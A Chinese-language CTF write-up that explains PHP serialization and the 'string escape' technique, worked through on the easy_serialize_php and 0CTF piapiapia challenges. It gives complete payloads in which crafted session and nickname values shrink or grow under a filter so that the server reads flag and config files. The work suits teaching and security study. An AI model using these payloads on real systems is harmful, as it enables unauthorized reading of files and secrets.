php序列化字符逃逸

前置知识

序列化,就是将数据转换为一种可互逆的数据结构,所以逆向的过程就是反序列化

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

举个简单的例子(数组):

1
2
3
4
5
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

序列化和反序列化后会输出以下

1
2
3
4
5
6
7
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
    [0] => xiao
    [1] => shi
    [2] => zi
)

对以上例子讲解

1
2
3
4
5
6
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
    
根据不同的数据类型依次类推

另外序列化后其中的内容只会有成员变量,成员函数不会留存

1
2
3
4
5
6
7
8
9
10
<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出

1
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

基础知识到此为止,开始今天的正题

序列化字符逃逸:

字面意思,就是要把序列化字符中的某一些特定字符给逃逸出去来达到我们的要求或者说获取flag,直接拿题目

1.过滤后字符变少

[安洵杯 2019]easy_serialize_php

接着是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把重要的代码提出来

1
2
3
4
5
6
7
8
9
10
$function = @$_GET['f'];

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过分析可以知道,get传参f得到的变量由$function接收
$function发挥作用的代码块,在最下方的判断语句,判断语句中给了提示访问Phpinfo,会在里面看到很多配置信息,可以发现我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。所以可以猜测flag应该要从d0g3_f1ag.php拿。

当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

变量覆盖:

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

file函数是为了过滤一些黑名单字符串,往下发现unset把session给销毁了,重新赋予了新的值,再调用了extract()
extract() 函数从数组中将变量导入到当前的符号表

sample2:

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

图片

由于有了以上的代码,我们可以进行变量覆盖,直接给session[‘img’]一个预想的值是不现实的,因为session[‘img’]=base64_encode(‘guest_img.png’)后执行的

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

再来看下filter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把传入的字符串几个特定字符会替换成空
根据大佬的WP,这里运用了序列化字符逃逸的知识点

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

1
2
3
4
5
6
7
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

以上就是逃逸概念的大概
如果我们把$_SESSION[‘img’]=base64_encode(‘guest_img.png’)这段代码的img属性放到花括号外边去,然后花括号中注好新的img属性,那么它本身要求的img就被我们替换了(这里就要用到之前的过滤函数)

根据大佬的payload来进行分析:

1
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面的base64也就是d0g3_f1ag.php
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}是我们预期的序列化字符

现在的_SESSION存在phpflag和img对应的键值对

1
2
3
4
5
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”,即键名为”;s:48:对应的值为一个字符串1.这个键值对只要能绕过就行

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

键名img对应的d0g3_f1ag.php的base64编码

右边花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全都被遗弃忽略了

然后跑一下payload

可以发现

图片

将目录名(包括斜杠)进行base64加密L2QwZzNfZmxsbGxsbGFn,正好也是20位,应该是题目设置好了的,直接替换原来的就行

最后payload:

get:f=show_image

post: _SESSION[phpflag]=;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

反序列化逃逸:

主要是两个策略,值逃逸和键逃逸,上述方法是键逃逸,这里给出值逃逸

构造一个含有三个键值对的数组,第一个元素的值被过滤后向后延续第二个元素的键

_SESSION[c]=phpphpphpphpphp&_SESSION[d]=;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

1
a:2:{s:1:"c";s:15:"phpphpphpphpphp";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

再一次经过filter函数处理后变成了

1
a:2:{s:1:"c";s:15:"";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

为什么后面还要加个;s:2:"dd";s:1:"a";}。因为加入3中给定的img参数后数组的键值对个数变成了3个即a:3。为了逃逸3必须新加入一个键值对。

2.过滤后字符变多

[0CTF 2016]piapiapia

(反序列化字符逃逸)

初以为是sql注入,随便尝试了下顺便在F12里找了下没找到任何信息,进行扫描,发现有WWW.zip源码泄露,在config.php里发现了flag,应该知道flag要去访问config.php,接着就开始代码审计

可以发现在class.php中有本题关键的两个类和相关函数,其中的函数写的较为全面(增改查都涉及)、认真(变量有单引号保护且过滤了单引号和一些关键词),若想注入恐怕需要费点功夫,其余的php文件亮点不多、比较平常,但还有三个点需要注意

一是update.php里有一个序列化操作,与之对应的有一个反序列化操作,在注入可能不好用的情况下,这很有可能是本题的关键

图片

图片

二是update.php里对传入的变量做了简单的检查,

1
2
3
4
5
6
7
8
9
10
11
12
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

这里比较有意思的是,前两个是没有按相应规则匹配到文本则执行die()函数,也就是说无论preg_match()返回值为0或null或false皆会die出,而第三个检查则不是这样,是如果匹配到非字母数字或nickname长度大于10则die出,这里我们就可以操作了,控制nickname为一个数组,这样的话两个判断条件为false或NULL,故不会die,所以可以判断这里是出题人故意设计的,可以从控制nickname这里触发
三是有profile.php的功能是展示文件,说是展示,实为读取

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里的file_get_contents是唯一可以读取文件的点,所以要从这里去读取config.php.大体思路是有的
update.php中有一个$profile数组变量,这个数组里有$phone, $email, $nickname, $photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为”config.php”,则能在访问profile.php时获得base64编码之后的config.php源码

整理Pop链:

1
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

所以目前最主要的是去控制$photo这个参数

1
2
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这里看了WP才知道,是要用反序列化的字符逃逸
首先要明确一个知识点,php反序列化中值的字符读取多少是由表示长度的数字来控制,只要整个字符串的前一部分能够反序列化,剩余部分会被丢弃

举个例子

图片

图片

以上是正常序列化

图片

原来的字符串Northind内被填充了几个字符串,先是 “”” 三个双引号,再是正常结尾时需要有的 “;} 三个字符,在PHP进行反序列化时,由字符串初始位置向后读取8个字符,即使遇到字符串分解符单双引号也会继续向下读,此处读取到 North””” ,而后遇到了正常的结束符,达成了正常反序列化的条件,反序列化结束,后面的 ind”;}  几个字符均被丢弃

这里借大佬的一个例子https://www.cnblogs.com/litlife/p/11690918.html

图片
图片

图片

这里的username我们可控,bad_str函数会把反序列化后的字符串中的单引号替换“no”,我们做个分析,尝试着修改该用户的签名,用到的当然是本题的知识点

我们要记住一点,我们的字符串是在某变量被反序列化得到的字符串受某函数的所谓过滤处理后得到的,而且经过处理之后,字符串的某一部分会加长,但描述其长度的数字没有改变(该数字由反序列化时变量的属性决定),就有可能导致PHP在按该数字读取相应长度字符串后,本来属于该字符串的内容逃逸出了该字符串的管辖范围,轻则反序列化失败,重则自成一家成为一个独立于原字符串的变量,若是这个独立出来的变量末尾是个 “;} ,则可能会导致反序列化成功结束,后面的内容也就被丢弃了。此处能逃逸的字符串的长度由经过滤后字符串增加的长度决定,如上图第四个语句,@号内就是我们要逃逸出来的字符串,长度为33,百分号内为我们输入的username变量,要想让@号内的字符串逃逸,就需要原来的字符串增长33,这样的话@号内的字符串被挤出,username的正常部分和增长的部分正好被PHP解析为一整个变量,@号内的内容就被解析为一个独立的变量,而且因为它的最后有 “;} ,使反序列化成功结束。

为了增长33,我们需要username里加入33个单引号,它们会被替换为33个no,使长度增加33,由此以来,上图中x的值也可以确定了,输入的username即为Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;i:1;s:18:”Today is Northind!”;},x为它的长度(74),所以我们最后得到的字符串为:

a:2:{i:0;s:74:”Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”(注意最后这里是个双引号);i:1;s:18:”Today is Northind!”;};i:1;s:15:”Today is Mondy!”;}

图片

我们可以看到,在这个反序列化字符串被过滤后,里面的单引号全部被替换为“no”,使”Northind”+”no”*33的长度之和等于74,配合上我们传入的”,满足PHP反序列化的条件之一,后面的”;i:1;s:18:”Today is Northind!”;}先闭合了一个变量的正确格式,又写入了一个变量正确格式,最后闭合了一个反序列化操作。该挤出的被挤出逃逸了,该丢弃的丢弃了。

实际传个username变量进去看看

图片

成功了。回到本题,因为要用到序列化字符逃逸,肯定要先把变量序列化,再进行过滤对应字符,过滤过程中把对应字符替换成长度更长的字符导致长度加长,引起逃逸,在class.php中可以看到

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

只有传入where时替换替换为hacker才能让长度加一否则长度不变
接着来分析,目标变量是$profile,结合之前的那个数组绕过,举一个例子:

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:"hanzo";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

因为要把phpoto改为config.php,先把目标payload给构造了

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:hanzo";}s:5:"photo";s:10:"config.php";};}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

要逃逸的部分为

1
";}s:5:"photo";s:10:"config.php";}

长度为34,所以需要在nickname[0]里添加34个where才能成功逃逸
目标字符串

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:%nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}%;}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

尝试抓包改参数
图片

上传成功,报错是因为nickname是数组形式,然后打开图片解码base64就行(做了好久终于会了!)